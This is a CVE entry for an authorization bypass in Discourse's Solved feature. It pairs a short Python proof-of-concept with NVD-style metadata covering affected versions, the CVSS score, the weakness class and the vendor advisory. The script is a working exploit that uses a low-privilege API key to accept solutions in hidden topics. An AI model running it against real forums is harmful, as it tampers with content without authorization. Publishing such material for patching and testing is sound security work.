CVE-2026-33251

import requests # CVE-2026-33251 PoC: Discourse Authorization Bypass # Target: Discourse < 2026.3.0-latest.1 # Description: Accept solution in a hidden topic via authorization bypass target_url = "http://example.com" topic_id = "1" # ID of the hidden topic post_number = "2" # Post number to mark as solution api_username = "low_priv_user" api_key = "YOUR_API_KEY" headers = { "Api-Username": api_username, "Api-Key": api_key, "Content-Type": "application/json" } # Endpoint to accept a solution (may vary based on plugin configuration) url = f"{target_url}/topics/{topic_id}/solved/accept" payload = {"id": post_number} # Send request to accept solution response = requests.put(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful: Solution accepted via authorization bypass.") else: print(f"[-] Exploit failed: {response.status_code} - {response.text}")

{"cve": {"id": "CVE-2026-33251", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:47.340", "lastModified": "2026-03-24T20:55:18.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an authorization bypass vulnerability in hidden Solved topics may allow unauthorized users to accept or unaccept solutions. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, ensure only trusted users are part of the Site Setting for accept_all_solutions_allowed_groups."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, una vulnerabilidad de omisión de autorización en temas ocultos Resueltos puede permitir a usuarios no autorizados aceptar o anular la aceptación de soluciones. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. Como solución alternativa, asegúrese de que solo los usuarios de confianza formen parte de la configuración del sitio accept_all_solutions_allowed_groups."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-vm2x-9h8x-7jxm", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}